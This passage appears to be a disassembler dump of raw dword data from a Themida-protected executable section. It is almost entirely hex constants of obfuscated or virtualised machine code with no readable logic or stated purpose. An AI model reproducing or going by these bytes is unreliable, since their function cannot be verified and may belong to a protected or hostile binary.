		dd 0D77B8AAEh, 94BB66FCh, 6AC02B40h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 5487C355h
		dd 0A1BF66E3h, 8DDF80D7h, 0BAh,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0ADCB3606h
		dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 1FBCC356h
		dd 92DC2B72h, 8B664D8Eh, 0FEB70FFBh, 880Dh, 0F59D2900h
		dd 8B060728h, 71AD995h,	56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 6408A7F6h, 8BFE8AA8h
		dd 7101D8Dh, 52006A06h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 7409B1FDh, 6820Fh, 0B5890000h, 60712B1h
		dd 61605260h, 0AD8D8B59h, 6106070Fh, 8BC28B50h,	8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 6E85818h, 0AE000000h,	54FA3A4Eh
		dd 799D8B94h, 5B06071Bh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 16h, 50C35545h, 8960BC6Dh,	7078D95h, 6D8D8906h
		dd 61060710h, 0E29BD83h, 0F000607h, 3C84h, 0B800h, 0BD8B0000h
		dd 60720DDh, 4B9B8D8Dh,	6A0607h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 3BF1C4C3h, 7B1918ECh
		dd 8BE1FF9Ch, 718F5BDh,	5BD8306h, 60733h, 454840Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 5ED9C8C3h, 0BD8376B5h, 6073305h, 42840F01h, 6A000004h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 44A2C353h, 0AB789176h, 17820F30h,	0E8000000h
		dd 0Eh,	3C0C56DDh, 0C5D26CFFh, 0DBED9E28h, 0CF80D3E5h
		dd 0BD835BB3h, 6073305h, 0C0860F03h, 6A000003h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 7023C351h, 11E867D8h, 0B2000000h, 152623E1h,	0D2E35080h
		dd 0D338DA82h, 9D5369F3h, 0C7BF605Fh, 8B1AAB77h, 70E6D9Dh
		dd 0D98C6606h, 36D9501h, 0E1800607h, 52006A04h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 741C27A1h
		dd 0B679795h, 0C1CF8166h, 0FC90A1Bh, 10284h, 99D8B00h
		dd 8B06072Ah, 72A1D85h,	0FD853306h, 6A06071Ah, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0F530C350h, 38009690h, 303A3C59h, 6690FB8Bh,	506DD3BFh
		dd 8B90DF8Bh, 713F59Dh,	0FAD38006h, 8166006Ah, 68D36AE3h
		dd 53AC963Eh, 0C1243481h, 6A53B395h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0B7B6C356h
		dd 6E8D4h, 1C800000h, 5493E39Fh, 24CBF781h, 0FF5B5B93h
		dd 709F995h, 0C9BD8B06h, 89060732h, 0AADDF85h, 0FE906h
		dd 0DD6B0000h, 0A8A96FE0h, 1083AE4h, 1D511CF2h,	0C8B0F54h
		dd 0F000000h, 68Ch, 0B4C78100h,	0E97E1244h, 1EEh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0D1C35141h, 0E9604404h
		dd 13h,	0BF8A0AD4h, 2904E432h, 0E9730916h, 0A483ACEDh
		dd 8BFE15DCh, 0AADD785h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 840FFE66h, 6, 6E54CB81h
		dd 0BD891C3Fh, 6070321h, 1800C7h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 8B00BFC3h
		dd 11E9EA6Fh, 65000000h, 1E629A0Dh, 0C869A611h,	4491AAD0h
		dd 0D5DE5B9Fh, 0ADDBB58Bh, 8166060Ah, 8BC13DEFh, 72BCD85h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 70913EB1h, 8BEB9426h, 723759Dh, 5EBF6606h
		dd 0B06897Ah, 710199Dh,	1D858B06h, 6006072Ah, 9E860h, 23700000h
		dd 0E7EF8767h, 5ED67280h, 81615F51h, 625DD5CAh,	9D8B617Dh
		dd 6072045h, 6A044689h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 4DAAC351h, 0FD888B2h
		dd 79BB6674h, 8E996A9h,	0BA000000h, 627AB98Bh, 50B7DC3Eh
		dd 509681B7h, 6860Fh, 840F0000h, 0
		dd 0D7B5FF5Bh, 31060AADh, 70DE59Dh, 1D516806h, 481CB62h
		dd 0BCE6AE24h, 56006A34h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 80BCDE50h, 2EF58D29h
		dd 858D0607h, 60AADDFh,	57907FB7h, 0BEBB505Fh, 90561A4Eh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 97C35747h
		dd 0FF117D39h, 709F995h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 33611764h, 729D59Dh, 585C706h
		dd 3060733h, 6A000000h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 91E8C357h, 7B8CF9FAh
		dd 3668441h, 71F85BDh, 0DFBD8306h, 60AADh, 41840Fh, 0EE80000h
		dd 0EB000000h, 0E96E9B88h, 0B860D992h, 77D699EBh, 0F8B70FFAh
		dd 40E95Bh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 0F4951BC3h, 141CC77Fh, 5094700Fh
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 0D19EC4C3h, 38437879h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0EFC35242h,	52338349h, 4096D0C4h
		dd 5BD83A0h, 3060733h, 4B3850Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0D090DFC3h
		dd 2C04F942h, 8BF9BF0Fh, 70F05BDh, 0DFBD8306h, 60AADh
		dd 47B840Fh, 8D290000h,	607077Dh, 0ADDFB5FFh, 6A060Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 5740CC3h, 0BCBBCBC0h, 0FF789156h, 7212995h, 0EF816606h
		dd 0B58B1D4Dh, 60AADD3h, 106C7FCh, 6A000100h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0DC86C355h, 0FA8CCFFh, 488h,	61605700h, 0E950965Bh
		dd 11h,	0BC7D12DAh, 0C0BC9E29h,	83C08D18h, 0AFB4B618h
		dd 0E8505B15h, 0Dh, 0E9A78D09h,	924586C9h, 0ED3E55BDh
		dd 0DF8B667Bh, 8589965Bh, 607073Dh, 0ADDFB5FFh,	0FFF9060Ah
		dd 7025195h, 159D8906h,	8B060705h, 0AADD3B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 3BD6B5BEh, 8B79B38Bh, 712A185h, 0CB815606h, 7B8BEDB9h
		dd 0C486895Fh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 7193C356h, 89959FFEh
		dd 708B585h, 0DE906h, 0F0060000h, 7207F37h, 4BC35280h
		dd 8BDCD578h, 71AD995h,	57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 5EA4F5DCh, 8B8C159Ah
		dd 723659Dh, 4C28306h, 0E19BD8Bh, 50890607h, 55006A20h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 3F4F01AFh, 70858D53h, 66060AC1h, 8166FE8Bh, 89B165EBh
		dd 0B886h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 8E9A8h, 51110000h, 0AE201038h, 0BB66B83Fh
		dd 6AD9E3h, 5830Fh, 81660000h, 0FF758DF7h, 0AADDFB5h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 12BBBB2Fh, 0BF0D88DEh, 6787BA18h, 79195FFh, 6A0607h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 2CE4DAC3h, 62E98160h, 293B6B42h, 706C9BDh, 0B3966106h
		dd 8A0F501Ah, 0Ah, 0F5E5760h, 86h, 6A966100h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0FB0CC355h, 7D4656F7h, 1B5AE4C8h, 5E9h, 52B74600h, 0AE89020h
		dd 0FF000000h, 20175F1Fh, 0AE37696Fh, 0B5FF5F64h, 60AADDFh
		dd 1FB9BD8Bh, 95FF0607h, 6072D09h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 97C35040h, 0A083C8E2h, 0CBB5E5ADh
		dd 0BD958960h, 0E8060714h, 0Bh,	0B46A6D1Eh, 3B69CB23h
		dd 893714A4h, 712A59Dh,	83615A06h, 714C1BDh, 840F0006h
		dd 72h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h
		dd 87C35646h, 722CE70Bh, 8F0F50EAh, 3, 89F88B66h, 6A2434h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 0F2B43C3h, 0F94A321h, 685h, 418D0900h, 0E906071Eh, 11h
		dd 0BDCCC21Fh, 4750FBFh, 7FA7B398h, 0BDE01BD0h,	0B5FFFCEBh
		dd 60AADDFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	0E8C35343h, 0B3982142h,	9595FFC2h, 6A06071Fh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0F10C356h, 689h, 61BD2B00h, 0FF06072Ch, 0AADDFB5h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 80D78072h, 95FF45EFh, 60702C1h, 1B59BD03h, 0BD830607h
		dd 6072865h, 54840F02h,	0F000000h, 183h, 858BF500h, 6070E69h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0B4C35343h
		dd 4A26063h, 0B576F0DFh, 639BD0Bh, 0C60607h, 14E800h, 9E740000h
		dd 788CA801h, 0F74C069Ch, 0F133A71h, 0D1555E79h, 0C75F30E6h
		dd 72A5185h, 6,	51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0BD8B9098h, 60710FDh
		dd 23CB8166h, 0F279E949h, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0DEEDB3C3h, 76958D37h
		dd 8BF98B66h, 56006AC1h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 0CE62566h, 8B15E12Ch, 708D5BDh, 0C1852906h
		dd 0B06070Fh, 71A25BDh,	0B1858D06h, 60060718h, 4AD9D8Bh
		dd 5E90607h, 31000000h,	91B38295h, 870F9061h, 2, 0B75095B3h
		dd 6A9092h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0E73951C3h, 2C0F807Ah, 6840Fh, 0D7810000h
		dd 3C439E56h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0CF15AFC3h, 0D8464BB1h, 10198589h
		dd 6E90607h, 0E2000000h, 93166342h, 6A006AB9h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 96B9C356h, 118AFCEFh, 0BD8B79FAh, 607052Dh, 4F61858Dh
		dd 8CB3060Bh, 0E805C083h, 0Dh, 0A15E2DADh, 0AE2E2EAEh
		dd 4BC085DDh, 0D8B70F47h, 0BB66905Bh, 8B50D969h, 6A90D8h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 0C439DCC3h, 6AF552B1h, 12E800h, 0F3D40000h, 0C2DF4618h
		dd 0ECCA480Ch, 3E2865B9h, 5CAB744Ah, 6198589h, 0BB5F0607h
		dd 7745386Ah, 6A006Ah, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 265515C3h, 162C4B27h, 11E936h, 4CA10000h, 0DD10AB98h
		dd 4F3B0AC7h, 0E1ED7CC9h, 0FFFAEF44h, 71E3D95h,	0EE906h
		dd 0F3F40000h, 0F659D238h, 9B6F2262h, 0AFCA1D97h, 0E8B0Fh
		dd 8B600000h, 70D0D9Dh,	95958906h, 61060729h, 93D58D8Dh
		dd 0D1FF060Ah, 14E9h, 27028F00h, 6EEEC8E7h, 0CCB5EC86h
		dd 27CF5B1Eh, 0EC42F5EAh, 0BDBD83F1h, 1060719h,	0B2850Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 0F0AE0BC3h, 4897202Fh, 0DB1C58BBh, 0F5CDB313h
		dd 6A026Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0B4969CC3h, 0A9C8284Fh, 90F9E203h, 29ABF60h
		dd 50616931h, 0C13C08BFh, 6A9044h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 341821C3h, 95FFE04Eh
		dd 6070791h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	20C35646h, 0CB3D0AF9h, 0FC6B373h, 382h,	0DA8B6600h
		dd 0D1AE9h
		db 0
byte_581725	db 0E8h, 2 dup(0)	; DATA XREF: Themida_:0053CDD8o
		dd 815D0000h, 0B4F6BEDh, 45BD3106h, 0E8060722h,	9, 56392E53h
		dd 53E2F800h, 5BFB8B2Ch, 843F858Dh, 8D29060Ah, 60705D5h
		dd 89FB8B50h, 0FF642404h, 35h, 1AE78100h, 640D5805h, 2589h
		dd 12E90000h, 0F9000000h, 50667F4Dh, 70C19CE9h,	9ECC3576h
		dd 0DF8B1069h, 5985FFB1h, 6A06072Fh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 7292C350h
		dd 66FF6AC0h, 0B5FFFA8Bh, 60705D1h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 87C35747h, 0B99E9C70h, 9D0B1B97h
		dd 6072145h, 286ABF57h,	0FF5B7AA2h, 72B8995h, 0F1E906h
		dd 95890000h, 6072625h,	8E800B0h, 90000000h, 0D3738BA4h
		dd 89DF939Ch, 70AA9BDh,	70E65B06h, 568CBB66h, 0BD8971E4h
		dd 60722B9h, 830F613Ch,	0BFh, 0CCD5D381h, 0B60F68B8h, 0E9BF66C8h
		dd 6BAE7h, 890F0000h, 3, 8BDEB70Fh, 0BDBD8BC1h,	6606071Ah
		dd 0E8C1FB8Bh, 0BD236004h, 6072331h, 18E28166h,	0F76661F0h
		dd 2DBD33E2h, 2B06072Bh, 2D9D8BC8h, 8B060729h, 498D29D1h
		dd 0E9060715h, 0
		dd 28C1858Bh, 9D330607h, 6071AD5h, 0F507C083h, 8100C083h
		dd 8B655FEBh, 0FD03B4Fh, 0B83h,	0E19D8B00h, 0E906072Ah
		dd 3Fh,	20618D8Bh, 0DF8B0607h, 0F01E183h, 2E84h, 0EE900h
		dd 0DBB60000h, 0A10E7C14h, 0EE9A813Eh, 0C837B3A8h, 2061A583h
		dd 0BFFE0607h, 2C9FF206h, 28C19589h, 0BB660607h, 0E90CDCh
		dd 8D000000h, 0ACD7CB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0F3EFD42h, 68Bh, 0FD8D8900h
		dd 89060707h, 721C585h,	6A006A06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 5B0C352h
		dd 0BD31A534h, 607263Dh, 0D6995FFh, 0BD8B0607h,	60722BDh
		dd 0D6AB9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 6D3AB33Dh, 78A66ECEh, 5E960E6h, 8C000000h
		dd 0AC2504E0h, 5CDDD381h, 8B616C55h, 72B35BDh, 0FCE18306h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 8C35141h
		dd 0FCF5AEB1h, 6860Fh, 8D890000h, 60721D5h, 0B8h, 618D8900h
		dd 2B060703h, 0ADDF8BD2h, 0E8D1C233h, 0E983D003h, 89F47504h
		dd 71FC595h, 12E906h, 9D880000h, 6171CC56h, 0C13A4FD6h
		dd 0BF7BF266h, 786099FDh, 880Dh, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0FAD9DC88h
		dd 64EC2771h, 0D9BF0F9Ch, 1AD9958Bh, 8D8B0607h,	607101Dh
		dd 76F38166h, 0C28B50B2h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 6658188Bh, 717EEF81h, 6ADEBF0Fh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0CEB9C352h
		dd 0E29BD83h, 0F000607h, 8F84h,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0BC63F9Ch
		dd 0ED4122B4h, 8D8903D4h, 60702EDh, 0B8h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 0DFCAAD6Fh, 29B50966h, 8D060700h, 74B9B8Dh, 0E19D0106h
		dd 8906070Bh, 71A299Dh,	8BE1FF06h, 721A5BDh, 85896006h
		dd 607055Dh, 12E9h, 0F880AD00h,	0CA1F0462h, 0F6546C29h
		dd 3325B537h, 610B70ECh, 3305BD83h, 0F000607h, 3F084h
		dd 5BD8300h, 1060733h, 3FE840Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 4C1A1CC3h
		dd 8BB4662Bh, 5E8D8h, 0A0FF0000h, 0E96FDFC9h, 0Fh, 0C0AFB946h
		dd 0C3EC74D5h, 0AC6A75FDh, 5F930976h, 3305BD83h, 0F030607h
		dd 37986h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 6A60E8h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 4DC226C3h, 0E10BB9DAh
		dd 8BD98C66h, 72659BDh,	4E18006h, 0E91BD8Bh, 0C90A0607h
		dd 103840Fh, 88B70000h,	2A1D858Bh, 0CB810607h, 2C6C101Fh
		dd 1AFD8533h, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 7C4E18C3h, 8EEDA308h, 89E8D016h
		dd 72E6D95h, 0B9609006h, 2184E99Eh, 0C88B6657h,	0E9506158h
		dd 7, 4D264B51h, 90B6FEF6h, 5D8D8960h, 60060718h, 1601B866h
		dd 6A6161h, 0A02D9768h,	0C6BF667Bh, 24348172h, 7BBF2E68h
		dd 95FF5B52h, 60709F9h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 5AC35747h, 89C24AF4h,	0DF8589B1h, 6A060AADh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 0F1C6C350h, 14E9h, 5323BC00h, 0F59FDFFh
		dd 0EB35DFEFh, 0C0761524h, 16F73B12h, 1C8E95Fh,	6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0EB8B9CC3h, 0D7858BA2h, 6A060AADh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 99FC356h
		dd 7287595h, 1800C706h,	89000000h, 712A595h, 0DBB58B06h
		dd 0E9060AADh, 0Ah, 0A2B8076h, 267DACA7h, 858BE2DFh, 6072BCDh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0BDC35747h
		dd 54664B11h, 830F9830h, 3, 89DFBF0Fh, 0FD9D8B06h, 8B060719h
		dd 72A1D85h, 50006A06h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 66EFFDCDh, 755DF81h, 4689FBB7h, 51006A04h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 58353A2Bh, 14E883h, 0E94E0000h, 525EACB2h, 27121401h
		dd 8E289577h, 0F686A82Bh, 8166D001h, 5BE0B1CBh,	0FE8B6650h
		dd 9243489h, 701C5B5h, 0D7B5FF06h, 6A060AADh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 0EAE6C351h, 43CBEDCEh, 10ED8D89h, 0DB680607h, 0F4883E3h
		dd 28Ch, 81FD8A00h, 0E0242434h,	0B589489Ch, 6071A31h, 0ADDF858Dh
		dd 0D98B060Ah, 14E850FCh, 0DF000000h, 10595475h, 0C2C1FEDBh
		dd 3110CF0Eh, 933AF115h, 5277075Dh, 850Fh, 5B5F0000h, 0E9240489h
		dd 0Dh,	0EBF114DEh, 0AA096F40h,	222BB820h, 0F995FFDEh
		dd 6A060709h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 42DEC352h, 6A61F807h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 0AF58C353h, 0C28FDF29h, 281C1BDCh, 1F1DBD89h, 85C70607h
		dd 6073305h, 3,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	33C35343h, 423A8694h, 83BAB94Bh, 0AADDFBDh, 840F0006h
		dd 0Eh,	0C4DB589h, 0E9FC0607h, 1Dh, 3050F88Ah, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 55006AC0h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 6860F0Ch, 81000000h,	3FF9EFCBh, 5BD835Eh, 3060733h
		dd 4A3850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 1E94EBC3h, 0F43CD313h, 89276B84h
		dd 71B01BDh, 0BE806h, 6D9F0000h, 7EF19121h, 31990C49h
		dd 0BD835F3Ch, 60AADDFh, 5A840F00h, 6A000004h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 21E3C356h, 0E2B44B2Fh, 92E38166h, 0DFB5FF96h, 66060AADh
		dd 0FFA33BBBh, 7212995h, 0D3B58B06h, 81060AADh,	346689D7h
		dd 0D8BF0F60h, 106C7h, 6A0001h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 113A7FC3h, 96D0C50Ah
		dd 0DE8h, 53B87800h, 883645A2h,	5239227Ch, 0E953BF22h
		dd 0Fh,	3CFA52A1h, 8C1E172Dh, 1F41A496h, 5FB59DA1h, 14E9505Fh
		dd 0F000000h, 360899D5h, 68D26195h, 4D1A3CCh, 0F27D6044h
		dd 96722AE0h, 0E853006Ah, 3, 5BC35B20h,	4245C89h
		dd 4244481h, 16h, 49C35343h, 0F98B51A6h, 0ADDFB5FFh, 6A060Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0D195A6C3h, 1E61A9A6h, 0A63EBBD6h, 95FF5E6Bh, 6070251h
		dd 0D3B58BF8h, 0E8060AADh, 12h,	85F3AFA2h, 0FBC4DB06h
		dd 1C22710Fh, 18057CA1h, 880F6798h, 6, 1AB59D8Bh, 8B5B0607h
		dd 712A185h, 0AE906h, 8DDB0000h, 867782F1h, 2148896Bh
		dd 0C48689h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 54BFDCC3h, 15358D29h, 60520607h
		dd 890Fh, 9DB50000h, 958B5B61h,	6071AD9h, 0CABB6651h, 0C2835B7Ch
		dd 0C800F04h, 0E9000000h, 7, 162904E4h,	89E97309h, 6A2050h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 8CEFE6C3h, 0DFDBD8Bh, 858D0607h, 60AC170h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0C3C35747h, 8EA6DC7Fh
		dd 8B58D89h, 85290607h,	60713FDh, 0B88689h, 0BD2B0000h
		dd 6071A59h, 8F0F006Ah,	0
		dd 0ADDFB5FFh, 6A060Ah,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 8FD21EC3h, 3FEFEF1Fh, 81665133h
		dd 5B8753C3h, 79195FFh,	0AE90607h, 0F3000000h, 98FD8CFBh
		dd 0BB918B52h, 8B66967Dh, 0DE8B50DEh, 56006A96h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
		dd 26D2BFEAh, 0C3E38FE6h, 0ADDFB5FFh, 6A060Ah, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0E0FFA0C3h, 273A2D71h, 0FF7907EFh, 72D0995h,	63EB8106h
		dd 832D3248h, 714C1BDh,	840F0006h, 55h,	0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 17h, 2DC35141h, 66275666h
		dd 0ACCACF81h, 7E950h, 0B4CF0000h, 3D2B9936h, 243489E2h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 21C35646h
		dd 4ECC70Fh, 0DFB5FFF1h, 6A060AADh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0FDDC355h
		dd 0BF66FEB7h, 95FF1DDDh, 6071F95h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 0B5C35646h,	5E8A3h,	9A7E0000h
		dd 9E6B835h, 708F595h, 0B5FF5F06h, 60AADDFh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 85C35141h, 0C55F5DDBh
		dd 18A5BD89h, 95FF0607h, 60702C1h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 0EAC35343h,	0C989CAFFh, 859D8B66h
		dd 8306070Bh, 72865BDh,	840F0206h, 75h,	0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Ch, 0BFC35646h, 0B25049CAh
		dd 0D6CDEFADh, 0FCDBD89h, 89600607h, 71B6D95h, 0CE906h
		dd 98900000h, 7217916Fh, 4B45593h, 8B6126F9h, 70E6985h
		dd 91BD8906h, 0C606070Ch, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 9E9AD1C3h, 8BF5DFAFh
		dd 5185C7DFh, 6072Ah, 29000000h, 702B585h, 0F397E906h
		dd 8589FFFFh, 60725B9h,	6AC18Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 0BB61BCC3h, 0FB8B66ADh
		dd 8DDA8B66h, 718B185h,	51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 0AA5D1C9Eh, 0F0367D3Ch
		dd 870F1E87h, 6, 85D8D89h, 95890607h, 60718E9h,	24048950h
		dd 3CC28160h, 0F0DAF14h, 0FC61F3BFh, 6A006Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 7BCAE1C3h
		dd 7B0DAC17h, 664E0A60h, 6A4C0ABBh, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 32EB3B76h
		dd 4F99D278h, 60858DC7h, 6A060B5Eh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0AA9FC356h
		dd 80AE1BE6h, 5EB7D933h, 8905C083h, 7049585h, 0DFB70F06h
		dd 0CE950h, 32F70000h, 0E3498F2Ch, 0C00DDB15h, 4892B03h
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 35A07B4Dh, 0BCB8BBD6h, 0DA8BB2DAh, 0BF66006Ah
